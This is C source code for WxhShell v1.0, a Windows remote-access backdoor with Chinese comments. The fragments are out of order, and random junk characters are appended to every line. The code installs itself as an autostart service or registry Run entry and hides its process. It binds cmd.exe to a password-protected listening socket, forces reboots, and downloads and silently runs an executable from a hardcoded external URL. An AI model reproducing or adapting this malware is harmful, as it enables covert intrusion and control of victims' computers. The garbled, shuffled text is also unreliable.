    if(Boot(SHUTDOWN)) W;fH&r)d@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?JuX~{{. L  
    else { &q4ox71  
    closesocket(wsh); -/M9 vS  
    ExitThread(0); ,(j>)g2Ob  
    } pGY [f@_x-  
    break; f zLANya  
    } o{9?:*?7  
  // 获取shell -`-ACWeNV  
  case 's': { jv*Dg (  
    CmdShell(wsh); pZu?V"R  
    closesocket(wsh); CHPL>'NJzc  
    ExitThread(0); sEoZ1E  
    break; fkW3~b  
  } ,"@w>WL<9  
  // 退出 V)2"l"Kt  
  case 'x': { zTkFX67)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'GrRuT<  
    CloseIt(wsh); h^['rmd  
    break; W=~id"XtJ  
    } ;JAK[o8i  
  // 离开 NV:>a  
  case 'q': { &K06}[J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +*n] tlk  
    closesocket(wsh); H9sZR>(^  
    WSACleanup(); $ b4*/vMr  
    exit(1); cE^kpnVq|<  
    break; :[ L{KFQU  
        } ~@xT]D!BQ  
  } d?JAUbqy  
  } SxMxe,.|  
Po!oN~r  
  // 提示信息 +:}kZDl@ X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *:?QB8YJ  
} '-`O. 4u  
  } I9;xzES  
>g=^,G}y  
  return; TKK,Y{{  
} 1d`cTaQ-  
Ny[Q T*nV  
// shell模块句柄 (viWY  
int CmdShell(SOCKET sock) =ntft SH  
{ j(&GVy^;?  
STARTUPINFO si; HB%K|&!+  
ZeroMemory(&si,sizeof(si)); QQ*gFP.Ao  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y^4q9?2G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wc"9A~  
PROCESS_INFORMATION ProcessInfo; :*=Ns[Y  
char cmdline[]="cmd"; H4W1\u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >xZ5 ac I  
  return 0; J l\'V  
} 1^S'sWwe  
18jJzYawh  
// 自身启动模式 cbfD B^_  
int StartFromService(void) U4=]#=R~o  
{ NJk)z&M  
typedef struct AHq M7+r9  
{ b)d^ `J  
  DWORD ExitStatus; B`#*o<eb  
  DWORD PebBaseAddress; 2_ wv C  
  DWORD AffinityMask; >$Fp}?xX  
  DWORD BasePriority; UnP|]]o:I  
  ULONG UniqueProcessId; uN8/Q2   
  ULONG InheritedFromUniqueProcessId; { E^U6@  
}   PROCESS_BASIC_INFORMATION; Zgy7!AF!  
'|_/lz$h  
PROCNTQSIP NtQueryInformationProcess; I,]J=xi  
[O(m/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hzv3F9.x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ubi~%  
Oc#>QZ3  
  HANDLE             hProcess; ^}hJL7O'  
  PROCESS_BASIC_INFORMATION pbi; vf[&7n  
\Y+")  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w=|py>%  
  if(NULL == hInst ) return 0; wE?CvL  
7N| AA^I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); B@"J]S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )J&|\m(e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F.68iN}  
ZvH?3Jy  
  if (!NtQueryInformationProcess) return 0; 0t+])>  
(#If1[L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f9a$$nb3`  
  if(!hProcess) return 0; ;?zF6zvQ  
Yh$fQ:yi\&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Je 31".  
XC2FF&B&  
  CloseHandle(hProcess); 8TW5(fl  
Y([d;_#P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @`S.@^%7fO  
if(hProcess==NULL) return 0; |kseKZ3  
; h85=l<8u  
HMODULE hMod; C B/r]+4  
char procName[255]; >L=;"+B0U&  
unsigned long cbNeeded; z+ ZG1\  
e}e6r3faz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r%|A$=[Q  
!VRo*[yD@  
  CloseHandle(hProcess); AuXs B  
('JKN"3  
if(strstr(procName,"services")) return 1; // 以服务启动 Im+ 7<3Z  
Yz\ N&0"  
  return 0; // 注册表启动 X8Fzs!L`  
} toIYE*ocv=  
!W /C[$E  
// 主模块 A? r^V2+j  
int StartWxhshell(LPSTR lpCmdLine) <h@]Ri  
{ 7&foEJ3q  
  SOCKET wsl; uXpv*i {R  
BOOL val=TRUE; K{2h9 ]VF  
  int port=0; 'fn$'CeM(  
  struct sockaddr_in door; *VDVC0R  
N&m_e)E5c  
  if(wscfg.ws_autoins) Install(); mX;H((  
B`1kGEx .  
port=atoi(lpCmdLine); ?-,6<K1  
j^nu|  
if(port<=0) port=wscfg.ws_port; \c% g M1  
9@'4P  
  WSADATA data; $@.jZ_G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; i ?-Y  
V%51k{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (:7a&2/M  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \z:<DsQ&  
  door.sin_family = AF_INET; " #v%36U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); OaaH$B  
  door.sin_port = htons(port); 4.w"(v9V  
^{[[Z.&R?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (O0byu}  
closesocket(wsl); I_>`hTiR  
return 1; 2y%R:Mu  
} 8UM0vNk  
h.}u?{  
  if(listen(wsl,2) == INVALID_SOCKET) { Z&Pu8zG /m  
closesocket(wsl); YlKFw|=  
return 1; Y.-S=Y   
} T5e^J"   
  Wxhshell(wsl); W;TJenv  
  WSACleanup(); ="(>>C1-  
MGaiTN^_<  
return 0; + zp0" ,2B  
:0I l|aB  
} ;;Tq$#vd  
-?fR|[\[U  
// 以NT服务方式启动 t!qwxX*$T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) IaasHo\  
{ -Qb0:]sV#  
DWORD   status = 0; !*vBW/  
  DWORD   specificError = 0xfffffff; !\x?R6K  
$5A^'q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X-/Ban  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a+ GJVJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D#0O[F@l##  
  serviceStatus.dwWin32ExitCode     = 0; nzuF]vo  
  serviceStatus.dwServiceSpecificExitCode = 0; ,LUTHWEo"I  
  serviceStatus.dwCheckPoint       = 0; k|B2@{  
  serviceStatus.dwWaitHint       = 0; (0C&z/  
AC4 l<:Yh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x~+-VF3/  
  if (hServiceStatusHandle==0) return; mi^hvks<  
S^j,f'2  
status = GetLastError(); jQ$BPEG&X  
  if (status!=NO_ERROR) zP nC=h|g  
{ h(N=V|0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?,XC =}  
    serviceStatus.dwCheckPoint       = 0; n9] ~  
    serviceStatus.dwWaitHint       = 0; ,8##OB(  
    serviceStatus.dwWin32ExitCode     = status; u-.L^!k  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~L'nz quF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $E.XOpl&I  
    return; ^73=7PZ  
  }  AP w6  
{ERjeuDm]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ],&\%jd<  
  serviceStatus.dwCheckPoint       = 0; ])N%^Qe$U  
  serviceStatus.dwWaitHint       = 0; % wL,v.}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); . #U}q 7X  
} w+_Wc~f  
Tl3"PIb  
// 处理NT服务事件,比如:启动、停止 RGp'b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qjLo&2)  
{ o](.368+4  
switch(fdwControl) dtTlIhh1V  
{ 9L"?wv  
case SERVICE_CONTROL_STOP: !01i%W'  
  serviceStatus.dwWin32ExitCode = 0; =l,#iYJP8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q"nGy#UWR  
  serviceStatus.dwCheckPoint   = 0; $?f]ZyZr.  
  serviceStatus.dwWaitHint     = 0; Z,aGtJ.a'9  
  { 8 u:2,l  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 61:9(*4~!F  
  } C3.=GRg~l  
  return; |Fp'/~|w2d  
case SERVICE_CONTROL_PAUSE: wd+O5Lr.R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .bfST.OA  
  break; H,|YLKg-|  
case SERVICE_CONTROL_CONTINUE: 4z0L ke  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2.qpt'p[  
  break; 0N5bPb  
case SERVICE_CONTROL_INTERROGATE: !Uy>eji}  
  break; f3n~{a,[  
}; c&e0OV\m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5^2TfG9  
} +-ewE-:|L  
<Uwwux<v  
// 标准应用程序主函数 ;)|nkI  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =|V" #3$f  
{ bA *"ei+!  
$5L(gn[  
// 获取操作系统版本  MYx88y  
OsIsNt=GetOsVer(); !I7?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); j@t{@Ke  
O 6]u!NqG  
  // 从命令行安装 E9R]sXf8  
  if(strpbrk(lpCmdLine,"iI")) Install(); Z s73 ad  
PWG;&ma  
  // 下载执行文件 fTgbF{?xh  
if(wscfg.ws_downexe) { mATH*[Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qc&jd  
  WinExec(wscfg.ws_filenam,SW_HIDE); |^!Vo&T  
} /.@x 4cdS  
. s-5N\  
if(!OsIsNt) { xB,/dMdTj  
// 如果时win9x,隐藏进程并且设置为注册表启动 e5L 1er;6  
HideProc(); -XW8 LaQB  
StartWxhshell(lpCmdLine); W5X7FEW  
} 6sy,A~e  
else .hne)K%={y  
  if(StartFromService()) hgwn> p:S#  
  // 以服务方式启动 oG\>--  
  StartServiceCtrlDispatcher(DispatchTable); K0 QH?F  
else +.K*n&  
  // 普通方式启动 dk:xnX%  
  StartWxhshell(lpCmdLine); kQ[Jo%YT?E  
WKOI\  
return 0; C *Xik9n  
} Ys%'#f  
`#p< rfe  
z L8J`W  
X2{`l8%Ek  
=========================================== QA,*:qx  
q;No"_aAd  
Hh\ 4MNl  
MYu`c[$jZ  
hpas'H>J  
J@gm@ jLc  
" "u5KbJW  
PY\W  
#include <stdio.h> T+(M8 qb  
#include <string.h> +K&?)?/=  
#include <windows.h> *?p ^6vO  
#include <winsock2.h> Cy6%S).c  
#include <winsvc.h> wBE7Bv45  
#include <urlmon.h> ^vG=|X|)c  
7?,7TR2Ny  
#pragma comment (lib, "Ws2_32.lib") Nuo^+z E   
#pragma comment (lib, "urlmon.lib") ~W3:xnBEk  
l-cW;b~  
#define MAX_USER   100 // 最大客户端连接数 \#2 s4RCji  
#define BUF_SOCK   200 // sock buffer ?N`qLGRm  
#define KEY_BUFF   255 // 输入 buffer ",QYDFFeF  
qL,ka  
#define REBOOT     0   // 重启 V07VwVD  
#define SHUTDOWN   1   // 关机 T:6K?$y?  
`ReGnT[  
#define DEF_PORT   5000 // 监听端口 9p4%8WhJ  
},v&rkwR  
#define REG_LEN     16   // 注册表键长度 ]d^ k4 d  
#define SVC_LEN     80   // NT服务名长度 V&g)m.d:n  
2'Y{FY_Z  
// 从dll定义API *h:D|4oJ(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aj?2jU~Pq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :q(D(mK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 3hH>U%`-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X8i[fk1.R  
*.:!Ax  
// wxhshell配置信息 1y 1_6TZ+  
struct WSCFG { Q7L)f71i  
  int ws_port;         // 监听端口 */4tJ G1U  
  char ws_passstr[REG_LEN]; // 口令 @K7ebYr?  
  int ws_autoins;       // 安装标记, 1=yes 0=no <o ~t$TH  
  char ws_regname[REG_LEN]; // 注册表键名 +;YE)~R?  
  char ws_svcname[REG_LEN]; // 服务名 vUqe.?5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4Q@\h=r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 b'&LBT7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nT#37v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &yB%QX{3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 28ja-1dB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 R08&cd#$  
hN[X 1*  
}; (VfwLo>#  
j{)fC]8H  
// default Wxhshell configuration 4{Q$!O>  
struct WSCFG wscfg={DEF_PORT, YXgWH'i~  
    "xuhuanlingzhe", F|6 nwvgq  
    1, ";756'>  
    "Wxhshell", JR] )xPI`  
    "Wxhshell", ,tau9>!  
            "WxhShell Service", ix:2Z-  
    "Wrsky Windows CmdShell Service", 33*^($bE&  
    "Please Input Your Password: ", cW=Qh-`jU;  
  1, KuIkul9^%  
  "http://www.wrsky.com/wxhshell.exe", 3'.! +#  
  "Wxhshell.exe" HJc<Gwm  
    }; Pb0)HlLq  
EK^JLvyT  
// 消息定义模块 keae.6[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P a3{Ds  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3(MoXA*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "&@gX_%  
char *msg_ws_ext="\n\rExit."; fDL3:%D  
char *msg_ws_end="\n\rQuit."; Yd[U  
char *msg_ws_boot="\n\rReboot..."; u.$Ym  
char *msg_ws_poff="\n\rShutdown..."; mluW=fE  
char *msg_ws_down="\n\rSave to "; p 7 , f6kG  
3gC\{y!8  
char *msg_ws_err="\n\rErr!"; a:=q8Qy  
char *msg_ws_ok="\n\rOK!"; $[)6H7!U)  
ThjUiuWe  
char ExeFile[MAX_PATH]; B.V?s,U  
int nUser = 0; 7We?P,A\;  
HANDLE handles[MAX_USER]; MKV=m8G=  
int OsIsNt; :8](&B68gE  
~ &t!$  
SERVICE_STATUS       serviceStatus; P;^y|0N m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :uOZjEZi  
,jAx%]@,I  
// 函数声明 -b].SG5S  
int Install(void); " ]aQ Hh]f  
int Uninstall(void); 3X,]=f@_  
int DownloadFile(char *sURL, SOCKET wsh); eL<m.06cfY  
int Boot(int flag); -L+\y\F  
void HideProc(void); OD{5m(JwL  
int GetOsVer(void); PthId aN@  
int Wxhshell(SOCKET wsl); `)0Rv|?  
void TalkWithClient(void *cs); or?0PEx\  
int CmdShell(SOCKET sock); t8L<x  
int StartFromService(void); KDux$V4  
int StartWxhshell(LPSTR lpCmdLine); += X).X0K  
v]B0!k&4.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,O$Z,J4VL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Is4%}J!8  
_{N0OX  
// 数据结构和表定义 ev~dsk6k  
SERVICE_TABLE_ENTRY DispatchTable[] = 99\{!W  
{ 5oVLv4Z9u  
{wscfg.ws_svcname, NTServiceMain}, L4MxU 2  
{NULL, NULL} p>2||  
}; j)g_*\tQ  
i58ZV`Rk`  
// 自我安装 5W*7qD[m  
int Install(void) O<}ep)mr  
{ }wvwZ`5t  
  char svExeFile[MAX_PATH]; hubfK~  
  HKEY key; K<$wz/\  
  strcpy(svExeFile,ExeFile); It#hp,@e  
#JK;& Dg!  
// 如果是win9x系统,修改注册表设为自启动 F?*Dr  
if(!OsIsNt) { SQ1M4:hP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^L>MZA ?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0!9?H1>  
  RegCloseKey(key); .OVW4svX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u5xU)l3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vGx?m@  
  RegCloseKey(key); i_j9/k  
  return 0; 1Z^`l6|2  
    } 4M;sD;3  
  } tQNk=}VR7r  
} Tns?mQ  
else { @rnp- +kq  
jxRF"GD  
// 如果是NT以上系统,安装为系统服务 8@Egy%_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /#S4espE  
if (schSCManager!=0) r Iya\z1W  
{ 71oFm1m{  
  SC_HANDLE schService = CreateService D6&mf2'u  
  ( r1[E{Tpz  
  schSCManager,  l 'AK  
  wscfg.ws_svcname, D8r>a"gx  
  wscfg.ws_svcdisp, _hAj2%SL  
  SERVICE_ALL_ACCESS, 37j\D1Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , eT7!a']x  
  SERVICE_AUTO_START, ?z\q Mu  
  SERVICE_ERROR_NORMAL, F&W0DaH  
  svExeFile, .ujs`9d_-  
  NULL, \_*?R,$3Y,  
  NULL, S5:"_U  
  NULL, |i,zY{GI+2  
  NULL, OqfhCNAY  
  NULL Bo\a  
  ); WUE)SVf  
  if (schService!=0) J6@(X8w{j  
  { )64LKb$  
  CloseServiceHandle(schService); #~bU}[{  
  CloseServiceHandle(schSCManager); EIq{C-(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KKeb ioW  
  strcat(svExeFile,wscfg.ws_svcname); Yv#J`b@y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jRv;D#Hp  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f7EIDFX>pt  
  RegCloseKey(key); >,w\lf9  
  return 0; 8]cv&d1f  
    } tJ?qcT?  
  } `l[6rf_.  
  CloseServiceHandle(schSCManager); 1S*8v 7  
} w>NZRP_3  
} ?/`C~e<J  
W%Y.SP$Y  
return 1; H{ n>KZ]\  
} .c=$ bQ>^  
u%+6Mp[E  
// 自我卸载 jQ.>2-;H9  
int Uninstall(void) "VT{1(]t  
{ E"9/YWv  
  HKEY key; L:t)$iF5+  
pz*/4  
if(!OsIsNt) { ^F0k2pB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L337/8fh  
  RegDeleteValue(key,wscfg.ws_regname); xWenKY,  
  RegCloseKey(key); bl:a&<F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Pqr Ou  
  RegDeleteValue(key,wscfg.ws_regname); 7':5  
  RegCloseKey(key); (]zl$*k  
  return 0; k=h/i8i2z  
  } 7`uA  
} 2-"Lxe65f  
} HobGl0<y  
else { N[+o[%A  
A:8FJ3'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d+YVyw.z  
if (schSCManager!=0) 0,vj,ic*WX  
{ 1}n)J6m  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2HvTM8  
  if (schService!=0) DU*g~{8T$  
  { N8DiEB3~  
  if(DeleteService(schService)!=0) { wRV`v$*6  
  CloseServiceHandle(schService); 323yAF  
  CloseServiceHandle(schSCManager); |k7ts&2  
  return 0; ;9!yh\\   
  } @mQ/W Ys  
  CloseServiceHandle(schService); !~|"LA!jn  
  } ,{`o/F/  
  CloseServiceHandle(schSCManager); VuO)  
} y:i[~y  
} 6?<`wGs(  
k"DQbUy0L  
return 1; A_6/umF[ZA  
} ~Me&cT8  
)'K!)?&d  
// 从指定url下载文件 iP#A-du  
int DownloadFile(char *sURL, SOCKET wsh) i)`zKbK  
{ *mK);@pL  
  HRESULT hr; *s<dgFA'  
char seps[]= "/"; Vne. HFXA  
char *token; \J3v>&m<7  
char *file; Ivt)Eg  
char myURL[MAX_PATH]; ?VOs:sln  
char myFILE[MAX_PATH]; nI|Lx`*v  
#/XK&(X  
strcpy(myURL,sURL); eHnei F  
  token=strtok(myURL,seps); wNf*/? N  
  while(token!=NULL) uc"[qT(X  
  { J<5vs3[9  
    file=token; 0o"<^] _|  
  token=strtok(NULL,seps); ^Lg{2hjj  
  } P :7l#/x_  
('o; M:  
GetCurrentDirectory(MAX_PATH,myFILE);  h>L6{d1  
strcat(myFILE, "\\"); #r:Kg&W2FO  
strcat(myFILE, file); :hl}Z n~jt  
  send(wsh,myFILE,strlen(myFILE),0); qRP8dH  
send(wsh,"...",3,0); !g8.8(/t)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9%)& }KK|  
  if(hr==S_OK) qI V`zZc  
return 0; I8-&.RE  
else _>?8eC]4a  
return 1; RfKxwo|M<  
a,0o{* (u$  
} 8w@W8(3B  
@x-GbK?  
// 系统电源模块 yS.fe[  
int Boot(int flag) lA^Kh  
{ Kj<<&_B.H  
  HANDLE hToken; n'ca*E(  
  TOKEN_PRIVILEGES tkp; ->"h5h  
gU 2c--`  
  if(OsIsNt) { d8BK/b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )S;Xy`vO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); `w+9j-  
    tkp.PrivilegeCount = 1; 3sg)]3jm2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _I70qz8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nO.+&kA  
if(flag==REBOOT) { $85o%siS'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y3o4%K8  
  return 0; ~3-YxCn%  
} 3Or3@e5r  
else { ai2}vR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZS;kCdL   
  return 0; n-WvIy  
} l/M+JT~R  
  } wpmtv325  
  else { }RK9Onh3G  
if(flag==REBOOT) { -OAH6U9^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Fm{y.URo  
  return 0; L1+cv;t  
} '1*MiFxKq  
else { _"TG:RP  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M](U"K?  
  return 0; '93&?  
} 8ttw!x69)_  
} ~=Sr0+vV  
>X,6  
return 1; CiF bk&-g  
} JJO"\^,;~  
O^ hV<+CX  
// win9x进程隐藏模块 N~YeAe~+  
void HideProc(void) 0U~JSmj:2K  
{ D':A-E  
y3GIR f;>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (~4AG \  
  if ( hKernel != NULL ) [ j_jee  
  { H2p;J#cv@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z@}~2K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p`0Tpgi  
    FreeLibrary(hKernel); 1owoh,V6  
  } 4|UIyDt8  
)LUl?  
return; z'*>Tk8h  
} ;!b(b%  
1OKJE(T  
// 获取操作系统版本 IuL ]V TY  
int GetOsVer(void) O jmz/W  
{ "~ 6B C  
  OSVERSIONINFO winfo; ~f:fOrLE#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'AU!xG6OQ  
  GetVersionEx(&winfo); *@Z'{V\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dEn hNPeRl  
  return 1; j- -#vEW  
  else &-9D.'WzP  
  return 0; >Ww F0W9?  
} muLTYgaM  
<dZ{E7l  
// 客户端句柄模块 'S\H% -  
int Wxhshell(SOCKET wsl) 'lF|F+8   
{ EOiKwhrV  
  SOCKET wsh; fr7/%{s  
  struct sockaddr_in client; }9JPSl28Jr  
  DWORD myID; :0l(Ll KD  
B^Q#@[T   
  while(nUser<MAX_USER) ~kga+H  
{ &W%TY:Da|  
  int nSize=sizeof(client); }\F>z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )_ y{^kn3^  
  if(wsh==INVALID_SOCKET) return 1; spf}{o  
@QEV l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >_".  
if(handles[nUser]==0) 5y)kQ<x"  
  closesocket(wsh); XN Y(@  
else y\:2Re/*Jt  
  nUser++; [g{}0 [ew  
  } E_z@\z MB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); XpGom;z^c  
6m]L{ buP  
  return 0; hf '3yEm  
} &xVWN>bd^  
<5.{+!BM  
// 关闭 socket W$&Q.Z  
void CloseIt(SOCKET wsh) mnePm{  
{ qy !G&  
closesocket(wsh); }5gQZ'ys'  
nUser--; SaNx;xgi  
ExitThread(0); =F`h2A;a  
} a7Jr} "B  
tf,_4_7#$  
// 客户端请求句柄 r&qD!l5y  
void TalkWithClient(void *cs) BBX4^;t  
{ 0Ec -/   
2a G<^3  
  SOCKET wsh=(SOCKET)cs; }K/[3X=B  
  char pwd[SVC_LEN]; -vMP{,  
  char cmd[KEY_BUFF]; 'K`)q6m  
char chr[1]; #X)s=Y&5!T  
int i,j; V3-LVgM%  
j6\{j#q  
  while (nUser < MAX_USER) { 67e1Y@Xu  
FvkKM+?F  
if(wscfg.ws_passstr) { q*T+8 O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .sLx6J%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5rc<ibGh  
  //ZeroMemory(pwd,KEY_BUFF); 6};Sn/ 8  
      i=0; N\p3*#M  
  while(i<SVC_LEN) { NzEuiI}  
P -Pt{:  
  // 设置超时 7S Qu  
  fd_set FdRead; A_2ppEG  
  struct timeval TimeOut; Un<~P@T%  
  FD_ZERO(&FdRead); )a.U|[:y[+  
  FD_SET(wsh,&FdRead); ?O_;{(F_  
  TimeOut.tv_sec=8; {{O1C ~  
  TimeOut.tv_usec=0; g><sZqj8tt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); /q>"">  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J sH9IK:  
# OJD<=")  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \dP2xou=  
  pwd=chr[0]; ak'RV*>mT  
  if(chr[0]==0xd || chr[0]==0xa) { ThHK1{87X}  
  pwd=0; M]&9Kg3   
  break; <mpkkCl,  
  } ;xb:{?  
  i++; j3FDGDrg  
    } (BJs6":BFe  
`'g%z: ~  
  // 如果是非法用户,关闭 socket e]rWR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8U-}%D<a  
} -JcfP+{wS  
b[/-lNrc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rc"Z$qU?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $Q ?<']|A  
|=SaI%%Be  
while(1) { _xbVAI4  
3 D\I#g  
  ZeroMemory(cmd,KEY_BUFF); lc*<UZR  
?gTY! ;$P  
      // 自动支持客户端 telnet标准   3.8d"  
  j=0; [1N*mY;  
  while(j<KEY_BUFF) { 2r1., 1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s:Memvf  
  cmd[j]=chr[0]; zX)uC<  
  if(chr[0]==0xa || chr[0]==0xd) { L"AZ,|wIk  
  cmd[j]=0; &'R\yX<J)  
  break; b,I$.&BD  
  } :V8 \^  
  j++; { c]y<q  
    } f 1]1ZOb  
+}% 4]O;  
  // 下载文件 LA1UD+S  
  if(strstr(cmd,"http://")) { wVp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2jA-y!(e  
  if(DownloadFile(cmd,wsh)) Z:5e:M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 40mgB4I  
  else zU]95I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $+-2/=>Xk  
  } @<;0 h|  
  else { lLl^2[4k5  
8M !If  
    switch(cmd[0]) { 85-00m ~  
